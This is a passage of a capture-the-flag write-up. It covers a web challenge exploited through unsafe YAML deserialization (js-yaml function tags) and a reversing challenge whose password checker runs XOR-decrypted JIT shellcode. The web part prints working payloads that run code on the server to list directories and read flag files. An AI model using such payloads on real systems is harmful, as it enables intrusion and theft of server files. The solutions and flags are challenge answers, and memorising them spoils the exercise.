"toString": !<tag:yaml.org,2002:js/function> "function () { const fs = process.mainModule.require('fs'); const path = process.mainModule.require('path'); const appDir = path.dirname(process.mainModule.filename); return JSON.stringify({ appDir, files: fs.readdirSync(appDir) }); }""{\"appDir\":\"/app\",\"files\":[\".dockerignore\",\".gitignore\",\"Dockerfile\",\"data.xml\",\"docker-compose.yml\",\"flag.txt\",\"node_modules\",\"package-lock.json\",\"package.json\",\"protected\",\"public\",\"server.js\",\"tmp\"]}"This confirmed the existence of flag.txt in /app.
Earlier attempts to read files directly using fs.readFileSync without internal error handling caused the backend’s try { yaml.load; '' + parsed } catch { ... } block to catch the exceptions and return success: false, which the front-end displayed as “Failed to save file”. To avoid that, the file-read function bodies were modified to catch their own exceptions and return error strings instead. The final payload used to read the flag file was:
"toString": !<tag:yaml.org,2002:js/function> "function () { const fs = process.mainModule.require('fs'); const path = process.mainModule.require('path'); const appDir = path.dirname(process.mainModule.filename); const flagPath = path.join(appDir, 'flag.txt'); try { return fs.readFileSync(flagPath, 'utf8'); } catch (e) { return 'error:' + flagPath + ':' + e.toString(); } }"This payload was submitted in the admin panel. The backend parsed the YAML, constructed an object with toString set to the supplied function, and '' + parsed invoked toString. The function read /app/flag.txt synchronously and returned its contents as a string. The response from /admin/create had success: true and a result field containing the flag. In the page’s “Parsed Output” area, the content appeared as a JSON-quoted string

[Reversing] — “Vault”
“I heard you are a master at breaking vaults, try to break this one..”
The challenge: a small Linux binary called chal that claims to be a “vault.” Type the right password, get the flag. Type the wrong one, nothing. The punchline is that the binary uses per-character JIT-compiled shellcode to verify the password.
1. First look at the binary
The usual triage starts with file:
$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, ... for GNU/Linux 3.2.0, strippedSo we have a 64-bit PIE, stripped, dynamically linked against glibc.
A quick readelf -l shows a non-executable stack and normal modern protections (NX, RELRO etc.), and the binary is of type DYN, confirming PIE. That already suggests that any executable memory will have to come from mmap or a similar syscall, which will matter later when we see JIT-style behavior.
Running strings shows:
$ strings chal | sed -n '30,80p'
...
mmap
NOP
Good job
I heard that you got some crazy vault breaking skills
Try to break this one.
Enter the password: %s
L00ks like you got some real skill issue...
Better luck next time.
...So the challenge text and I/O are clearly in .rodata and visible. That means the interesting part is not hidden strings, but logic.
2. Finding main and the high-level check
Since the binary is stripped, main is not named, but the function at 0x1460 is a strong candidate: it calls printf, scanf, strcspn, then does some branching.
Using objdump -d -Mintel and trimming noise, the essence of 0x1460 looks like this (de-symbolized):
0000000000001460:
1464: 55 push rbp
1465: 48 89 e5 mov rbp,rsp
1468: 48 81 ec a0 00 00 00 sub rsp,0xa0
...
148d: 48 8d 05 da 0b 00 00 lea rax,[rip+0xbda] ; 206e
1494: 48 89 c7 mov rdi,rax
1497: b8 00 00 00 00 mov eax,0
149c: e8 5f fc ff ff call printf@plt ; "I heard that you..."
14a1: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
14a8: 48 89 c6 mov rsi,rax
14ab: 48 8d 05 d1 0b 00 00 lea rax,[rip+0xbd1] ; 2083 "%s"
14b2: 48 89 c7 mov rdi,rax
14b5: b8 00 00 00 00 mov eax,0
14ba: e8 61 fc ff ff call __isoc23_scanf@plt
14bf: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
14c6: 48 8d 15 b9 0b 00 00 lea rdx,[rip+0xbb9] ; "%s" for strcspn
14d3: e8 38 fc ff ff call strcspn@plt
14d8: 48 89 85 68 ff ff ff mov [rbp-0x98],rax
...
14f0: c6 00 00 mov BYTE PTR [rax],0 ; terminate
14f3: 48 83 bd 68 ff ff ff
cmp QWORD PTR [rbp-0x98],0x35 ; length == 0x35?
14fb: 74 16 je 1513
14fd: 48 8d 05 84 0b 00 00 lea rax,[rip+0xb84] ; "L00ks like you got..."
1507: e8 c4 fb ff ff call puts@plt
150c: b8 ff ff ff ff mov eax,0xffffffff
1511: eb 10 jmp 1523
1513: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
151a: 48 89 c7 mov rdi,rax
151d: e8 57 fe ff ff call 1379 ; the real checkerTranslated to C-like pseudocode:
int main(void) {
char buf[0x90];
printf("I heard that you got some crazy vault breaking skills\n\n"
"Try to break this one.\nEnter the password: ");
scanf("%s", buf);
size_t len = strcspn(buf, "\n");
buf[len] = '\0';
if (len != 0x35) { // 53 characters
puts("L00ks like you got some real skill issue...\n\n"
"Better luck next time.");
return -1;
}
check(buf); // 0x1379
}So the password must be exactly 53 characters. Beyond that, the interesting part lives in check at 0x1379.
3. The JIT-based per-character checker
Disassembling the function at 0x1379:
0000000000001379:
1379: f3 0f 1e fa endbr64
137d: 55 push rbp
137e: 48 89 e5 mov rbp,rsp
1381: 48 83 ec 20 sub rsp,0x20
1385: 48 89 7d e8 mov [rbp-0x18],rdi ; save char* s
1389: c7 45 f4 00 00 00 00 mov DWORD PTR [rbp-0xc],0x0 ; i = 0
1390: e9 9d 00 00 00 jmp 1432 ; loop head
1395: 8b 45 f4 mov eax,[rbp-0xc] ; i
1398: 89 c7 mov edi,eax ; arg0: index
139a: e8 aa fe ff ff call 1249 ; make_shellcode(i)
139f: 48 89 45 f8 mov [rbp-0x8],rax ; ptr to JIT page
13a3: 4c 8b 4d f8 mov r9,[rbp-0x8] ; r9 = function pointer
13a7: 8b 45 f4 mov eax,[rbp-0xc] ; i
13aa: 48 98 cdqe
13ac: 48 c1 e0 05 shl rax,0x5 ; i * 32
13b0: 48 89 c2 mov rdx,rax
13b3: 48 8d 05 26 39 00 00 lea rax,[rip+0x3926] ; 4ce0
13ba: 48 8d 0c 02 lea rcx,[rdx+rax*1] ; rcx = pattern[i]
13be: 8b 45 f4 mov eax,[rbp-0xc] ; i
13c1: 48 98 cdqe
13c3: 48 8d 14 85 00 00 00 lea rdx,[rax*4+0x0]
13cb: 48 8d 05 2e 38 00 00 lea rax,[rip+0x382e] ; 4c00
13d2: 8b 34 02 mov esi,[rdx+rax*1] ; esi = key[i]
13d5: 8b 45 f4 mov eax,[rbp-0xc]
13d8: 48 63 d0 movsxd rdx,eax
13db: 48 8b 45 e8 mov rax,[rbp-0x18]
13df: 48 01 d0 add rax,rdx
13e2: 0f b6 00 movzx eax,BYTE PTR [rax] ; input[i]
13e5: 0f be c0 movsx eax,al ; sign-extend
13e8: 49 89 c8 mov r8,rcx ; r8 = pattern[i]
13eb: b9 00 00 00 00 mov ecx,0x0 ; ecx = 0
13f0: ba 00 00 00 00 mov edx,0x0 ; edx = 0
13f5: 89 c7 mov edi,eax ; rdi = char
13f7: 41 ff d1 call r9 ; JIT code
13fa: 83 f8 01 cmp eax,0x1
13fd: 0f 95 c0 setne al
1400: 84 c0 test al,al
1402: 74 19 je 141d ; if eax == 1
1404: 48 8d 05 02 0c 00 00 lea rax,[rip+0xc02] ; 200d failure msg
140b: 48 89 c7 mov rdi,rax
140e: e8 bd fc ff ff call puts@plt
1413: bf ff ff ff ff mov edi,0xffffffff
1418: e8 33 fd ff ff call exit@plt
141d: 48 8b 45 f8 mov rax,[rbp-0x8]
1421: be 00 80 00 00 mov esi,0x8000 ; size
1426: 48 89 c7 mov rdi,rax
1429: e8 02 fd ff ff call munmap@plt ; free page
142e: 83 45 f4 01 add DWORD PTR [rbp-0xc],0x1 ; i++
1432: 8b 45 f4 mov eax,[rbp-0xc]
1435: 48 63 d0 movsxd rdx,eax
1438: 48 8b 45 e8 mov rax,[rbp-0x18]
143c: 48 01 d0 add rax,rdx
143f: 0f b6 00 movzx eax,BYTE PTR [rax] ; s[i]
1442: 84 c0 test al,al
1444: 0f 85 4b ff ff ff jne 1395 ; loop if not NUL
144a: 48 8d 05 c1 0b 00 00 lea rax,[rip+0xbc1] ; 2012 "Good job"
1454: e8 77 fc ff ff call puts@plt
1459: b8 00 00 00 00 mov eax,0For each character index i in the user input (until a NUL terminator):
- Call
make_shellcode(i)at0x1249, which returns a pointer to freshlymmap’d, executable memory containing 57 bytes of custom machine code. - Construct:
pattern[i]as a pointer into a table at0x4ce0(32 bytes per index).key[i]as a 32-bit integer from a table at0x4c00.ch = input[i].
3. Call the generated code as a function:
int ok = shellcode_i((int)ch, key[i], 0, 0, pattern[i]);4. If ok != 1, print the “skill issue” message and exit.
5. Otherwise, munmap the shellcode page and move on to the next character.
6. If the loop completes and reaches the NUL terminator, print “Good job” and return.
The main constraints are therefore entirely encoded in:
- The per-index 57-byte JIT block, encrypted in
.dataat0x4020. - The
key[i]table at0x4c00. - The
pattern[i]table at0x4ce0.
4. The shellcode builder at 0x1249
The function at 0x1249 is where the executable page is created and the encrypted bytes are decrypted and copied.
The relevant part, via objdump -d -Mintel --start-address=0x1249 --stop-address=0x1316:
0000000000001249:
1249: f3 0f 1e fa endbr64
124d: 55 push rbp
124e: 48 89 e5 mov rbp,rsp
1251: 53 push rbx
1252: 48 83 ec 78 sub rsp,0x78
1256: 89 7d 8c mov [rbp-0x74],edi ; i
...
1268: 41 b9 00 00 00 00 mov r9d,0
126e: 41 b8 ff ff ff ff mov r8d,0xffffffff
1274: b9 22 00 00 00 mov ecx,0x22 ; PROT_READ|WRITE|EXEC
1279: ba 07 00 00 00 mov edx,0x7 ; MAP_PRIVATE|MAP_ANON
127e: be 00 80 00 00 mov esi,0x8000 ; 32KB
1283: bf 00 00 00 00 mov edi,0x0 ; addr = NULL
1288: e8 63 fe ff ff call mmap@plt
128d: 48 89 45 98 mov [rbp-0x68],rax ; save page ptr
...
12b1: c7 45 94 00 00 00 00 mov [rbp-0x6c],0 ; j = 0
12b8: eb 58 jmp 1312
12ba: 8b 45 94 mov eax,[rbp-0x6c] ; j
12bd: 48 63 c8 movsxd rcx,eax
12c0: 8b 45 8c mov eax,[rbp-0x74] ; i
12c3: 48 63 d0 movsxd rdx,eax
12c6: 48 89 d0 mov rax,rdx
12c9: 48 c1 e0 03 shl rax,0x3
12cd: 48 29 d0 sub rax,rdx
12d0: 48 c1 e0 03 shl rax,0x3
12d4: 48 01 d0 add rax,rdx ; rax = 57 * i
12d7: 48 8d 14 08 lea rdx,[rax+rcx] ; rdx = 57*i + j
12db: 48 8d 05 3e 2d 00 00 lea rax,[rip+0x2d3e] ; 4020
12e2: 48 01 d0 add rax,rdx ; &code_table[57*i + j]
12e5: 0f b6 00 movzx eax,BYTE PTR [rax]
12e8: 89 c1 mov ecx,eax ; ecx = enc_byte
12ea: 8b 45 8c mov eax,[rbp-0x74] ; i
12ed: 48 98 cdqe
12ef: 48 8d 14 85 00 00 00 lea rdx,[rax*4]
12f7: 48 8d 05 02 39 00 00 lea rax,[rip+0x3902] ; 4c00
12fe: 8b 04 02 mov eax,[rdx+rax] ; key[i]
1301: 31 c8 xor eax,ecx ; key[i] ^ enc_byte
1303: 89 c2 mov edx,eax
1305: 8b 45 94 mov eax,[rbp-0x6c] ; j
1308: 48 98 cdqe
130a: 88 54 05 a0 mov [rbp+rax-0x60],dl ; store dec_byte
130e: 83 45 94 01 add DWORD PTR [rbp-0x6c],0x1 ; j++
1312: 83 7d 94 38 cmp DWORD PTR [rbp-0x6c],0x38
1316: 7e a2 jle 12ba ; loop while j <= 0x38The behavior can be described as a continuous narrative instead of a list.
The routine begins by creating a 0x8000-byte page with read, write, and execute permissions using mmap. For any chosen index i, it retrieves a 57-byte slice of encoded data from the table starting at 0x4020, using the expression code_table[57*i + j] to obtain each encrypted byte. It then applies a simple XOR-based decryption step, computing each decrypted byte as (key[i] ^ enc_byte) & 0xff, with the key value drawn from the array located at 0x4c00.
After decrypting all 57 bytes, the routine temporarily places them into stack storage before copying them into the beginning of the newly allocated page. This copy operation is implemented as a sequence of mov instructions that transfer the bytes from the stack into the RWX page. When the transfer is complete, the routine returns a pointer to the start of that page, effectively turning the freshly written bytes into an executable function.
1318: 48 8b 45 98 mov rax,[rbp-0x68] ; page
131c: 48 8b 4d a0 mov rcx,[rbp-0x60]
1320: 48 8b 5d a8 mov rbx,[rbp-0x58]
1324: 48 89 08 mov [rax],rcx
1327: 48 89 58 08 mov [rax+0x8],rbx
...
1353: 48 89 48 29 mov [rax+0x29],rcx
1357: 48 89 58 31 mov [rax+0x31],rbx53 indices × 57 bytes = 3021 bytes, and the distance between 0x4020 and 0x4c00 is 0xbe0 = 3040 bytes. The last 19 bytes are padding or unused. This matches the fixed password length check of 53 characters almost perfectly.
At this point, the plan is clear, decrypt each 57-byte block, disassemble it, understand the constraint it encodes, and invert that constraint for each character position.
5. Disassembling the decrypted shellcode
Rather than attaching a debugger and dumping the RWX page at runtime, we can decrypt the shellcode statically. A small Python script reads the .data segment directly and applies the per-block XOR with key[i].
The mapping from virtual address to file offset comes from objdump -h:
.datahas VMA0x4000, file offset0x3000.- So file offset for any address
vin.datais0x3000 + (v - 0x4000).
code_table_off = 0x3000 + (0x4020 - 0x4000) # 0x3020
keys_off = 0x3000 + (0x4c00 - 0x4000) # 0x3c00
patterns_off = 0x3000 + (0x4ce0 - 0x4000) # 0x3ce0Decrypting one block:
import struct
def get_key(i):
off = keys_off + 4*i
return struct.unpack_from("<I", data, off)[0]
def get_block_enc(i):
start = code_table_off + 57*i
return data[start:start+57]
def decrypt_block(i):
key = get_key(i) & 0xff # only the low byte matters
enc = get_block_enc(i)
return bytes((b ^ key) & 0xff for b in enc)For index 0, the decrypted bytes begin:
b9 04 00 00 00 48 31 f7 48 83 fa 08 0f 94 c0 74 ...objdump in binary mode:
$ objdump -D -b binary -m i386:x86-64 -Mintel dec0.bin0000000000000000 <.data>:
0: b9 04 00 00 00 mov ecx,0x4
5: 48 31 f7 xor rdi,rsi
8: 48 83 fa 08 cmp rdx,0x8
c: 0f 94 c0 sete al
f: 74 27 je 0x38
11: 48 89 f8 mov rax,rdi
14: 48 d3 e8 shr rax,cl
17: 48 83 e0 01 and rax,0x1
1b: 48 89 c3 mov rbx,rax
1e: 49 0f b6 04 90 movzx rax,BYTE PTR [r8+rdx*4]
23: 48 39 c3 cmp rbx,rax
26: 0f 94 c0 sete al
29: 75 0c jne 0x37
2b: 48 ff c2 inc rdx
2e: 48 ff c1 inc rcx
31: 48 83 e1 07 and rcx,0x7
35: eb d1 jmp 0x8
37: c3 ret
38: c3 retrdi= first argument = character (sign-extended).rsi= second argument =key[i].rdx= third argument = 0.rcx= fourth argument = 0.r8= fifth argument =pattern[i].
The routine begins by loading an initial value into ecx; for the block in question, that starting value is the immediate 0x04. It then computes a value x by taking ch XOR key, a result produced through the xor rdi, rsi instruction sequence and later accessed through rdi. With this setup complete, the code enters a loop that continues as long as rdx is less than eight. Each iteration extracts a single bit from x at the position given by (ecx & 7) and stores that bit in rbx. It then retrieves the corresponding expected bit from pattern[i][rdx], accessed using the addressing mode BYTE PTR [r8 + rdx*4]. The extracted bit is compared against the expected one, and if the two do not match, the routine exits immediately. If they do match, the loop proceeds by incrementing both rdx and ecx, with ecx wrapping around modulo eight. Once eight consecutive bits have matched and rdx reaches eight, the comparison at the top of the block (cmp rdx, 8) succeeds, causing the function to return the value taken from 0x38.
C-style pseudocode:
int check_char(int ch, uint32_t key, long unused1, long unused2, uint8_t *pat) {
uint8_t start = IMM; // e.g., 4 for this index
uint8_t x = (uint8_t)(ch ^ key);
uint8_t bit_index = start;
for (int k = 0; k < 8; k++) {
uint8_t actual = (x >> bit_index) & 1;
uint8_t expected = pat[k]; // stored at pat + 4*k
if (actual != expected)
return 0;
bit_index = (bit_index + 1) & 7;
}
return 1;
}Every index i has the same structure, only the initial mov ecx, IMM immediate changes. That immediate controls where in the byte the 8-bit window starts. The rest of the “pattern” is in pattern[i] at 0x4ce0, where each of the eight 32-bit entries is just 0 or 1 in the least significant bit (the upper bits are irrelevant and can be junk).
At this point, we have a fully understood constraint:
For each index i, the JIT code enforces that
bit_{(start_i + k) mod 8}( ch_i ^ key_i ) = pattern_i[k] for all k in 0..76. Inverting the constraints to recover the password
We now have 3 easily accessible tables:
key[i]as 32-bit values at0x4c00 + 4*i.pattern[i][k]as 32-bit values at0x4ce0 + 32*i + 4*k, where the bit of interest ispattern[i][k] & 1.start_i, encoded in each JIT block as the immediate inmov ecx, imm(the second byte of the decrypted block).
The inversion logic for each index i is:
- Recover
start_i:
dec = decrypt_block(i)
start_i = dec[1] # 0xB9 imm32 => second byte is imm's low byte- Extract the 8 pattern bits:
def get_pattern_bits(i):
base = patterns_off + 32*i
bits = []
for k in range(8):
v = struct.unpack_from("<I", data, base + 4*k)[0]
bits.append(v & 1)
return bits- Reconstruct the bits of
x_i = ch_i ^ key_i:
x_bits = [0] * 8
for k in range(8):
bitpos = (start_i + k) & 7
x_bits[bitpos] = pattern_i[k]- Convert
x_bitsfrom LSB-first bit vector to a byte. - Finally,
ch_i = x_i ^ (key_i & 0xff).
A solver script looks like this (minus the file loading):
import struct
# assume 'data' is the contents of 'chal' read as bytes
code_table_off = 0x3000 + (0x4020 - 0x4000)
keys_off = 0x3000 + (0x4c00 - 0x4000)
patterns_off = 0x3000 + (0x4ce0 - 0x4000)
def get_key(i):
off = keys_off + 4*i
return struct.unpack_from("<I", data, off)[0]
def decrypt_block(i):
start = code_table_off + 57*i
enc = data[start:start+57]
key = get_key(i) & 0xff
return bytes((b ^ key) & 0xff for b in enc)
def get_start_immediate(i):
dec = decrypt_block(i)
if dec[0] != 0xB9: # mov ecx, imm32
raise ValueError("unexpected first opcode")
return dec[1] # lowest byte of imm
def get_pattern_bits(i):
base = patterns_off + 32*i
bits = []
for k in range(8):
v = struct.unpack_from("<I", data, base + 4*k)[0]
bits.append(v & 1)
return bits
def reconstruct_char(i):
key = get_key(i) & 0xff
start = get_start_immediate(i)
patt = get_pattern_bits(i)
x_bits = [0] * 8
for k in range(8):
bitpos = (start + k) & 7
x_bits[bitpos] = patt[k]
x = 0
for j in range(8):
if x_bits[j]:
x |= (1 << j)
return x ^ key
chars = [reconstruct_char(i) for i in range(53)]
flag = bytes(chars)
print(flag.decode())Running this against the binary recovers:
flag{hm_she11c0d3_v4u17_cr4ck1ng_4r3_t0ugh_r1gh7!!??}